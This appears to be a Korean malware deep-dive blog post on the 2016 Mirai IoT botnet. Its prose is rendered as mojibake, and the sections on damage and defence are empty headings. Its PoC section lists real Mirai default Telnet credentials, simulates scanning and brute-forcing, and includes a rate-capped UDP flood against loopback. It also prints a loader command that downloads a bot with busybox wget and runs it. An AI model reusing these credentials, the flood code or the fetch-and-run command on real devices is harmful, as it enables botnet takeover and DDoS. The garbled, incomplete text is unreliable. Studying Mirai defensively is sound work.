๐Ÿฆ  Mirai ๋ด‡๋„ท โ€” ๊ธฐ๋ณธ ๋น„๋ฐ€๋ฒˆํ˜ธ 62๊ฐœ๋กœ 60๋งŒ ๋Œ€์˜ IoT๋ฅผ ๋ฌด๊ธฐํ™”ํ•˜๋‹ค (2016)

2026-09-01 ยท Malware Deep-Dive

1. ๋ฐฐ๊ฒฝ/์—ญ์‚ฌ โ€” ์–ธ์ œ, ๋ˆ„๊ฐ€, ์™œ ์œ ๋ช…ํ•œ๊ฐ€

Mirai(์ผ๋ณธ์–ด๋กœ "๋ฏธ๋ž˜")๋Š” 2016๋…„ 8์›” ์ฒ˜์Œ ๋“ฑ์žฅํ•œ IoT(์‚ฌ๋ฌผ์ธํ„ฐ๋„ท) ๋ด‡๋„ท์ด๋‹ค. PC๊ฐ€ ์•„๋‹Œ IP ์นด๋ฉ”๋ผ, DVR, NVR, ๊ณต์œ ๊ธฐ ๊ฐ™์€ ์ €์‚ฌ์–‘ ์ž„๋ฒ ๋””๋“œ ๊ธฐ๊ธฐ๋ฅผ ๊ฐ์—ผ์‹œ์ผœ ๋Œ€๊ทœ๋ชจ DDoS(๋ถ„์‚ฐ์„œ๋น„์Šค๊ฑฐ๋ถ€) ๊ณต๊ฒฉ์— ๋™์›ํ•œ ์ตœ์ดˆ์˜ ์‚ฌ๋ก€๋กœ, ์ธํ„ฐ๋„ท ๋ณด์•ˆ ์—ญ์‚ฌ์˜ ๋ถ„์ˆ˜๋ น์œผ๋กœ ๊ธฐ๋ก๋œ๋‹ค.

2. ๊ฐ์—ผยท์ „ํŒŒ ๊ฒฝ๋กœ โ€” ์–ด๋–ป๊ฒŒ ํผ์กŒ๋‚˜

Mirai๋Š” ์ด๋ฉ”์ผ ์ฒจ๋ถ€๋‚˜ ์›น ์ทจ์•ฝ์ ์ด ์•„๋‹ˆ๋ผ, "์ธํ„ฐ๋„ท์— ๋…ธ์ถœ๋œ ํ…”๋„ท(Telnet) + ๊ธฐ๋ณธ ๋น„๋ฐ€๋ฒˆํ˜ธ"๋ผ๋Š” IoT ์—…๊ณ„์˜ ๋งŒ์„ฑ์  ๋ฐฉ์น˜๋ฅผ ํŒŒ๊ณ ๋“ค์—ˆ๋‹ค. ์Šค์Šค๋กœ ์ „ํŒŒํ•˜๋Š” ์›œ์˜ ํ˜•ํƒœ๋ผ๊ธฐ๋ณด๋‹ค, ์ž๋™ํ™”๋œ ์Šค์บ” โ†’ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… โ†’ ์›๊ฒฉ ์„ค์น˜์˜ 3๋‹จ๊ณ„ ํŒŒ์ดํ”„๋ผ์ธ์œผ๋กœ ๊ธฐ๊ธฐ๋ฅผ ์ง‘์–ด์‚ผ์ผฐ๋‹ค.

3. ๋™์ž‘ ์›๋ฆฌ ์ƒ์„ธ ๋ถ„์„ โ€” ์ฝ”๋“œ/๊ตฌ์กฐ ๋ ˆ๋ฒจ์—์„œ

๊ณต๊ฐœ๋œ Mirai ์†Œ์Šค์ฝ”๋“œ๋Š” ๋ชจ๋“ˆ ๊ตฌ์กฐ๊ฐ€ ๋ช…ํ™•ํ•˜๋‹ค. ๊ฐ ๋ชจ๋“ˆ์ด ์‹ค์ œ๋กœ ํ•˜๋Š” ์ผ์„ ๋ณด๋ฉด "๋‹จ์ˆœํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋Œ€์ž…๊ธฐ"๊ฐ€ ์•„๋‹ˆ๋ผ ์ƒ์กดยท์ „ํŒŒยท๊ณต๊ฒฉยท์€๋‹‰์„ ๋ชจ๋‘ ๊ฐ–์ถ˜ ์‚ฐ์—…์šฉ ๋ด‡๋„ท์ด์—ˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

4. ํ”ผํ•ด ๊ทœ๋ชจ/์˜ํ–ฅ โ€” ์‹ค์ œ ์‚ฌ๋ก€ ์ˆ˜์น˜

5. PoC โ€” ๊ต์œก์šฉ ๋ชจ์˜ ์ฝ”๋“œ๋กœ ๋™์ž‘ ์›๋ฆฌ ์žฌํ˜„

โš ๏ธ ์•ˆ์ „ ๊ทœ์น™: ์•„๋ž˜ ์ฝ”๋“œ๋Š” ์‹ค์ œ Mirai ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์•„๋‹ˆ๋ผ "๋™์ž‘ ์›๋ฆฌ๋งŒ ์žฌํ˜„ํ•œ ๊ต์œก์šฉ ๋ชจ์˜ ์ฝ”๋“œ"๋‹ค. ๊ณต๊ฒฉ ๋Œ€์ƒ์€ ๊ฐ€์ƒ์˜ ๋กœ์ปฌ ์‹ค์Šต ํ™˜๊ฒฝ(์ธ๋ฉ”๋ชจ๋ฆฌ ๊ฐ€์ƒ ๊ธฐ๊ธฐ ํ…Œ์ด๋ธ”, 127.0.0.1 ๋ฃจํ”„๋ฐฑ)์„ ์ „์ œ๋กœ ํ•˜๋ฉฐ, ์ถœ๋ฐœ์ง€ IP ์œ„์กฐ(raw socket)๋Š” ๊ตฌํ˜„ํ•˜์ง€ ์•Š๊ณ  ํŒจํ‚ท ์ˆ˜ยทํฌ๊ธฐ์— ํ•˜๋“œ ๋ฆฌ๋ฐ‹์„ ๋‘์—ˆ๋‹ค. ์‹ค์ œ ์ธํ„ฐ๋„ท/๋‚ด๋ถ€๋ง ๋Œ€์ƒ์œผ๋กœ ์‹คํ–‰ํ•˜์ง€ ๋ง ๊ฒƒ.

PoC 1 โ€” ๊ฐ์—ผ ๋‹จ๊ณ„ ์žฌํ˜„ (์Šค์บ๋„ˆ + ๋ธŒ๋ฃจํŠธํฌ์Šค + ๋กœ๋”): ์›๋ณธ scanner.c์™€ ๋ธŒ๋ฃจํŠธํฌ์Šค ๋กœ์ง์„ ์ธ๋ฉ”๋ชจ๋ฆฌ ๊ฐ€์ƒ ๊ธฐ๊ธฐ ํ…Œ์ด๋ธ” ๋Œ€์ƒ์œผ๋กœ ์ถ•์•ฝํ–ˆ๋‹ค.

#!/usr/bin/env python3
"""
Mirai ๊ฐ์—ผ ๋‹จ๊ณ„ ๊ต์œก์šฉ ์‹œ๋ฎฌ๋ ˆ์ด์…˜ (๊ฐ€์ƒ์˜ ๋กœ์ปฌ ์‹ค์Šต ํ™˜๊ฒฝ ์ „์ œ)
- ์‹ค์ œ ๋„คํŠธ์›Œํฌ ์Šค์บ”/๊ณต๊ฒฉ์ด ์ „ํ˜€ ์—†์Œ: ์ธ๋ฉ”๋ชจ๋ฆฌ '๊ฐ€์ƒ ๊ธฐ๊ธฐ ํ…Œ์ด๋ธ”'๋งŒ ๋Œ€์ƒ์œผ๋กœ ๋™์ž‘ ์›๋ฆฌ ์žฌํ˜„
- ์›๋ณธ Mirai์˜ scanner.c + bruteforce ๋กœ์ง์„ ์ถ•์•ฝํ•œ ๋ชจ์˜ ์ฝ”๋“œ (ํŽ˜์ด๋กœ๋“œ ์•„๋‹˜)
"""
import random, time

# ์›๋ณธ Mirai์˜ 62๊ฐœ ๊ธฐ๋ณธ ์ž๊ฒฉ์ฆ๋ช… ๋ชฉ๋ก ์ค‘ ์ผ๋ถ€๋งŒ ๋ฐœ์ทŒ (๊ต์œก์šฉ)
DEFAULT_CREDS = [
    ("root", "root"), ("root", "xc3511"), ("root", "vizxv"),
    ("root", "admin"), ("admin", "admin"), ("root", "12345"),
    ("root", "default"), ("admin", "password"), ("root", "juantech"),
    ("support", "support"), ("root", "system"), ("root", "666666"),
]

# ๊ฐ€์ƒ์˜ ๋กœ์ปฌ ์‹ค์Šต ํ™˜๊ฒฝ: '๊ฐ์—ผ ๋Œ€์ƒ' IoT ๊ธฐ๊ธฐ ๋ชฉ๋ก (์ „๋ถ€ ๊ฐ€์ƒ, ์‹ค์ œ ์ฃผ์†Œ ์•„๋‹˜)
FAKE_DEVICES = {
    "192.168.77.11": ("admin", "admin"),      # ๊ฐ€์ƒ IP์นด๋ฉ”๋ผ (๊ธฐ๋ณธ ๋น„๋ฒˆ ๊ทธ๋Œ€๋กœ -> ์ทจ์•ฝ)
    "192.168.77.23": ("root", "vizxv"),       # ๊ฐ€์ƒ DVR (๊ธฐ๋ณธ ๋น„๋ฒˆ -> ์ทจ์•ฝ)
    "192.168.77.34": ("root", "s3cure!pw"),   # ํŒจ์น˜/๋น„๋ฒˆ ๋ณ€๊ฒฝ๋œ ๊ธฐ๊ธฐ (๋ฐฉ์–ด๋จ)
    "192.168.77.45": ("support", "support"),  # ๊ฐ€์ƒ ๊ณต์œ ๊ธฐ (๊ธฐ๋ณธ ๋น„๋ฒˆ -> ์ทจ์•ฝ)
}

def syn_scan(ip):
    """Mirai scanner.c์˜ SYN ์Šค์บ” ๋‹จ๊ณ„ ๋ชจ์˜: 23/2323 ํฌํŠธ ๊ฐœ๋ฐฉ ์—ฌ๋ถ€ ํ™•์ธ.
    ์‹ค์ œ Mirai๋Š” ์œ„์กฐ๋œ ์ถœ๋ฐœ์ง€ IP๋กœ TCP SYN์„ ๋ณด๋‚ด๊ณ  SYN-ACK ์‘๋‹ต์„ ๊ธฐ๋‹ค๋ฆฐ๋‹ค.
    ์—ฌ๊ธฐ์„œ๋Š” ๊ฐ€์ƒ ๊ธฐ๊ธฐ ํ…Œ์ด๋ธ”์— ์กด์žฌํ•˜๋ฉด 'ํฌํŠธ ๊ฐœ๋ฐฉ'์œผ๋กœ ๊ฐ„์ฃผํ•œ๋‹ค."""
    return ip in FAKE_DEVICES

def telnet_try(ip, user, pw):
    """๋ธŒ๋ฃจํŠธํฌ์Šค ๋‹จ๊ณ„ ๋ชจ์˜: ๊ฐ€์ƒ ๊ธฐ๊ธฐ์˜ ์ž๊ฒฉ์ฆ๋ช…๊ณผ ๋Œ€์กฐ."""
    real_user, real_pw = FAKE_DEVICES[ip]
    time.sleep(0.02)  # ๋„คํŠธ์›Œํฌ ์ง€์—ฐ ํ‰๋‚ด
    return user == real_user and pw == real_pw

def infect(ip):
    """๋กœ๋”(loader) ๋‹จ๊ณ„ ๋ชจ์˜: ์›๋ณธ์€ wget์œผ๋กœ ์•„ํ‚คํ…์ฒ˜๋ณ„ ๋ด‡ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ฐ›์•„ ์‹คํ–‰ํ•œ๋‹ค."""
    print(f"[LOADER] {ip} -> busybox wget -O /tmp/bot http://c2.lab.local/bot && chmod 777 /tmp/bot && /tmp/bot")

def main():
    random.seed(7)  # ๋ฐ๋ชจ ์ถœ๋ ฅ์ด ์•ˆ์ •์ ์œผ๋กœ ๋‚˜์˜ค๋„๋ก ๊ณ ์ • ์‹œ๋“œ
    print("[SCANNER] ๋ฌด์ž‘์œ„ IP ๋Œ€์ƒ SYN ์Šค์บ” ์‹œ์ž‘ (ํฌํŠธ 23/2323)")
    for _ in range(60):
        ip = f"192.168.77.{random.randint(1, 254)}"
        if syn_scan(ip):
            print(f"[SCANNER] {ip}:23 ๊ฐœ๋ฐฉ ๊ฐ์ง€ -> ๋ธŒ๋ฃจํŠธํฌ์Šค ํ ๋“ฑ๋ก")
            for user, pw in DEFAULT_CREDS:
                if telnet_try(ip, user, pw):
                    print(f"[BRUTE] {ip} ๋กœ๊ทธ์ธ ์„ฑ๊ณต ({user}:{pw})")
                    infect(ip)
                    break
            else:
                print(f"[BRUTE] {ip} ๊ธฐ๋ณธ ์ž๊ฒฉ์ฆ๋ช… ๋ชจ๋‘ ์‹คํŒจ (๋ฐฉ์–ด๋œ ๊ธฐ๊ธฐ)")

if __name__ == "__main__":
    main()

์‹คํ–‰ ๊ฒฐ๊ณผ (์‹ค์ œ ์‹คํ–‰ ํ™•์ธ๋จ):

[SCANNER] ๋ฌด์ž‘์œ„ IP ๋Œ€์ƒ SYN ์Šค์บ” ์‹œ์ž‘ (ํฌํŠธ 23/2323)
[SCANNER] 192.168.77.23:23 ๊ฐœ๋ฐฉ ๊ฐ์ง€ -> ๋ธŒ๋ฃจํŠธํฌ์Šค ํ ๋“ฑ๋ก
[BRUTE] 192.168.77.23 ๋กœ๊ทธ์ธ ์„ฑ๊ณต (root:vizxv)
[LOADER] 192.168.77.23 -> busybox wget -O /tmp/bot http://c2.lab.local/bot && chmod 777 /tmp/bot && /tmp/bot

PoC 2 โ€” ๊ณต๊ฒฉ ๋‹จ๊ณ„ ์žฌํ˜„ (UDP flood): ์›๋ณธ attack.c์˜ UDP flood ๋ฒกํ„ฐ๋ฅผ ๋ฃจํ”„๋ฐฑ ํ•œ์ •ยทํ•˜๋“œ ๋ฆฌ๋ฐ‹์œผ๋กœ ์ถ•์•ฝํ–ˆ๋‹ค. ์‹ค์ œ Mirai๋Š” raw socket์œผ๋กœ ์ถœ๋ฐœ์ง€ IP๋ฅผ ์œ„์กฐํ•˜๊ณ  ์ดˆ๋‹น ์ˆ˜๋งŒ~์ˆ˜์‹ญ๋งŒ ํŒจํ‚ท์„ ์Ÿ์•„๋‚ด์ง€๋งŒ, ๋ณธ ์ฝ”๋“œ๋Š” 127.0.0.1์˜ discard ํฌํŠธ(9๋ฒˆ)์— ์ตœ๋Œ€ 100๊ฐœ๋งŒ ๋ณด๋‚ธ๋‹ค.

#!/usr/bin/env python3
"""
Mirai attack.c์˜ UDP flood ๋ฒกํ„ฐ๋ฅผ ๋ชจ์˜ํ•œ ๊ต์œก์šฉ ์ฝ”๋“œ
- ์‹ค์ œ Mirai: raw socket + ์ถœ๋ฐœ์ง€ IP ์œ„์กฐ + ๋ฌด์ž‘์œ„ 8๋ฐ”์ดํŠธ UDP ํ—ค๋”/ํŽ˜์ด๋กœ๋“œ, ์ดˆ๋‹น ์ˆ˜๋งŒ~์ˆ˜์‹ญ๋งŒ ํŒจํ‚ท
- ๋ณธ PoC: ์˜ค์ง 127.0.0.1(๋ฃจํ”„๋ฐฑ) ๋Œ€์ƒ, ํŒจํ‚ท ์ˆ˜/ํฌ๊ธฐ ํ•˜๋“œ ๋ฆฌ๋ฐ‹, ์ถœ๋ฐœ์ง€ ์œ„์กฐ ์—†์Œ
"""
import socket, random, sys, time

TARGET = ("127.0.0.1", 9)   # ๋กœ์ปฌ discard ํฌํŠธ (๋˜๋Š” ์ง์ ‘ ๋„์šด UDP ์—์ฝ” ์„œ๋ฒ„)
MAX_PACKETS = 100           # ํ•˜๋“œ ๋ฆฌ๋ฐ‹ (์‹ค์ œ Mirai์™€ ๋‹ฌ๋ฆฌ ๊ทน์†Œ๋Ÿ‰)
MAX_SIZE = 64               # 1ํŒจํ‚ท ์ตœ๋Œ€ 64๋ฐ”์ดํŠธ

def udp_flood(duration_sec=2):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sent = 0
    end = time.time() + duration_sec
    while time.time() < end and sent < MAX_PACKETS:
        # ์›๋ณธ Mirai๋Š” ๋žœ๋ค 8๋ฐ”์ดํŠธ UDP ํ—ค๋” + ๋žœ๋ค ๋ฐ์ดํ„ฐ๋ฅผ ์œ„์กฐ ์†Œ์Šค๋กœ ์ „์†ก
        payload = bytes(random.getrandbits(8) for _ in range(random.randint(8, MAX_SIZE)))
        s.sendto(payload, TARGET)
        sent += 1
    print(f"[UDPFLOOD] {sent} packets -> {TARGET[0]}:{TARGET[1]} (๊ต์œก์šฉ ๋กœ์ปฌ ์‹ค์Šต ํ•œ์ •)")

if __name__ == "__main__":
    udp_flood(duration_sec=float(sys.argv[1]) if len(sys.argv) > 1 else 2)

์‹คํ–‰ ๊ฒฐ๊ณผ (์‹ค์ œ ์‹คํ–‰ ํ™•์ธ๋จ): [UDPFLOOD] 100 packets -> 127.0.0.1:9 (๊ต์œก์šฉ ๋กœ์ปฌ ์‹ค์Šต ํ•œ์ •)

PoC 3 โ€” ๋กœ๋” ๋ฐฐํฌ ๋ช…๋ น์˜ ํ˜•ํƒœ (์…ธ ์Šค๋‹ˆํŽซ): ์›๋ณธ loader๊ฐ€ ๊ฐ์—ผ ๊ธฐ๊ธฐ์—์„œ ๋‚ด๋ฆฌ๋Š” ๋ช…๋ น์˜ ๊ตฌ์กฐ๋งŒ ์žฌํ˜„ํ•œ ๊ฒƒ์ด๋‹ค. URL์€ ๋ฌธ์„œ์šฉ ์˜ˆ์•ฝ ๋Œ€์—ญ(TEST-NET)์„ ์‚ฌ์šฉํ•˜๋ฉฐ ์‹ค์ œ ๋‹ค์šด๋กœ๋“œ๋Š” ์ผ์–ด๋‚˜์ง€ ์•Š๋Š”๋‹ค.

# ์›๋ณธ Mirai loader๊ฐ€ ๊ฐ์—ผ ๊ธฐ๊ธฐ์—์„œ ์‹คํ–‰ํ•œ ๋ช…๋ น์˜ ํ˜•ํƒœ (๊ต์œก์šฉ, ์‹ค์ œ ์ „์†ก ์—†์Œ)
# - CPU ์•„ํ‚คํ…์ฒ˜๋ฅผ ํ™•์ธํ•œ ๋’ค ๊ทธ์— ๋งž๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ฐ›์•„ ์‹คํ–‰ํ•œ๋‹ค
# - wget์ด ์—†๋Š” ๊ธฐ๊ธฐ๋Š” busybox wget์œผ๋กœ ๋Œ€์ฒดํ•œ๋‹ค
uname -m                                  # mips / armv7l / x86_64 ... ํ™•์ธ
busybox wget -O /tmp/bot http://192.0.2.1/bot   # TEST-NET ์ฃผ์†Œ (์‹ค์ œ ์„œ๋ฒ„ ์•„๋‹˜)
chmod 777 /tmp/bot
/tmp/bot                                  # ๋ด‡ ์‹คํ–‰ -> C2 ์ฒดํฌ์ธ(PING) ์‹œ์ž‘

6. ๋ฐฉ์–ด ๋ฐฉ๋ฒ•/๊ตํ›ˆ โ€” ์–ด๋–ป๊ฒŒ ๋ง‰์•˜๊ณ , ๋ฌด์—‡์„ ๋ฐฐ์šฐ๋‚˜

์ถœ์ฒ˜

ํ•จ๊ป˜ ์ฝ๊ธฐ: ๐Ÿ’ฅ Smashing The Stack For Fun And Profit โ€” ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์˜ ๊ต๊ณผ์„œ (1996)

๋ชฉ๋ก์œผ๋กœ ๋Œ์•„๊ฐ€๊ธฐ